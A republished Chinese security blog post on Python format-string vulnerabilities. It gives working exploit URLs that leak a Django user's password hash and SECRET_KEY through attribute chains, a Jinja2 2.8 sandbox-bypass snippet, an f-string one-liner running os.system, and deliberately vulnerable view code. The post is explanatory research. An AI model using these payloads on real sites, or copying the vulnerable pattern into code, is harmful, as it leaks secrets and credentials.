Python 格式化字符串漏洞(Django为例)

在C语言里有一类特别有趣的漏洞,格式化字符串漏洞。轻则破坏内存,重则读写任意地址内容。

Python中的格式化字符串

Python中也有格式化字符串的方法,在Python2老版本中使用如下方法格式化字符串:

  1. "My name is %s" % ('phithon', ) 
  2. "My name is %(name)%" % {'name':'phithon'} 

后面为字符串对象增加了format方法,改进后的格式化字符串用法为:

  1. "My name is {}".format('phithon') 
  2. "My name is {name}".format(name='phithon'

很多人一直认为前后两者的差别,仅仅是换了一个写法而已,但实际上format方法已经包罗万象了。文档在此: https://docs.python.org/3.6/library/string.html#formatstrings

举一些例子吧:

  1. "{username}".format(username='phithon') # 普通用法 
  2. "{username!r}".format(username='phithon') # 等同于 repr(username) 
  3. "{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数 
  4. "int: {0:d};  hex: {0:#x};  oct: {0:#o};  bin: {0:#b}".format(42) # 转换进制 
  5. "{user.username}".format(user=request.username) # 获取对象属性 
  6. "{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值 

上述用法在Python2.7和Python3均可行,所以可以说是一个通用用法。

格式化字符串导致的敏感信息泄露漏洞

那么,如果格式化字符串被控制,会发送什么事情?

我的思路是这样,首先我们暂时无法通过格式化字符串来执行代码,但我们可以利用格式化字符串中的“获取对象属性”、“获取数组数值”等方法来寻找、取得一些敏感信息。

以Django为例,如下的view:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

原意为显示登陆用户传入的email地址:

但因为我们控制了格式化字符串的一部分,将会导致一些意料之外的问题。最简单的,比如:

输出了当前已登陆用户哈希过的密码。看一下为什么会出现这样的问题:user是当前上下文中仅有的一个变量,也就是format函数传入的user=request.user,Django中request.user是当前用户对象,这个对象包含一个属性password,也就是该用户的密码。

所以,{user.password}实际上就是输出了request.user.password。

如果改动一下view:

  1. def view(request, *args, **kwargs): 
  2.     user = get_object_or_404(User, pk=request.GET.get('uid')) 
  3.     template = 'This is {user}\'s email: ' + request.GET.get('email') 
  4.     return HttpResponse(template.format(useruser=user)) 

将导致一个任意用户密码泄露的漏洞:

利用格式化字符串漏洞泄露Django配置信息

上述任意密码泄露的案例可能过于理想了,我们还是用最先的那个案例:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

我能够获取到的变量只有request.user,这种情况下怎么利用呢?

Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项。

经过翻找,我发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

所以,思路就很明确了:我们只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

我随便列出两个,还有几个更有意思的我暂时不说:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Jinja 2.8.1 模板沙盒绕过

字符串格式化漏洞造成了一个实际的案例——Jinja模板的沙盒绕过( https://www.palletsprojects.com/blog/jinja-281-released/)

Jinja2是一个在Python web框架中使用广泛的模板引擎,可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI(模板注入漏洞)时引入了沙盒机制,也就是说即使模板引擎被用户所控制,其也无法绕过沙盒执行代码或者获取敏感信息。

但由于format带来的字符串格式化漏洞,导致在Jinja2.8.1以前的沙盒可以被绕过,进而读取到配置文件等敏感信息。

大家可以使用pip安装Jinja2.8:

  1. pip install  
  2. https://github.com/pallets/jinja/archive/2.8.zip 

并尝试使用Jinja2的沙盒来执行format字符串格式化漏洞代码:

  1. >>> from jinja2.sandbox import SandboxedEnvironment 
  2. >>> env = SandboxedEnvironment() 
  3. >>> class User(object): 
  4. ...  def __init__(self, name): 
  5. ...   self.name = name 
  6. ... 
  7. >>> t = env.from_string( 
  8. ...  '{{ "{0.__class__.__init__.__globals__}".format(user) }}') 
  9. >>> t.render(user=User('joe')) 

成功读取到当前环境所有变量__globals__,如果当前环境导入了settings或其他敏感配置项,将导致信息泄露漏洞:

相比之下,Jinja2.8.1修复了该漏洞,则会抛出一个SecurityError异常:

f修饰符与任意代码执行

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。文档在此 https://www.python.org/dev/peps/pep-0498/

用docker体验一下:

  1. docker pull python:3.6.0-slim 
  2. docker run -it --rm --name py3.6 python:3.6.0-slim bash 
  3. pip install ipython 
  4. ipython 
  5. # 或者不用ipython 
  6. python -c "f'''{__import__('os').system('id')}'''" 

可见,这种代码执行方法和PHP中的 很类似,这是Python中很少有的几个能够直接将字符串转变成的代码的方式之一,这将导致很多“舶来”漏洞。

举个栗子吧,有些开发者喜欢用eval的方法来解析json:

在有了f字符串后,即使我们不闭合双引号,也能插入任意代码了:

不过实际利用中并不会这么简单,关键问题还在于:Python并没有提供一个方法,将普通字符串转换成f字符串。

但从上图中的eval,到Python模板中的SSTI,有了这个新方法,可能都将有一些突破吧,这个留给大家分析了。

另外,PEP 498在Python3.6中才被实现,在现在看来还不算普及,但我相信之后会有一些由于该特性造成的实际漏洞案例。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/144593.html<

(0)
运维的头像运维
上一篇2025-03-10 05:53
下一篇 2025-03-10 05:54

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注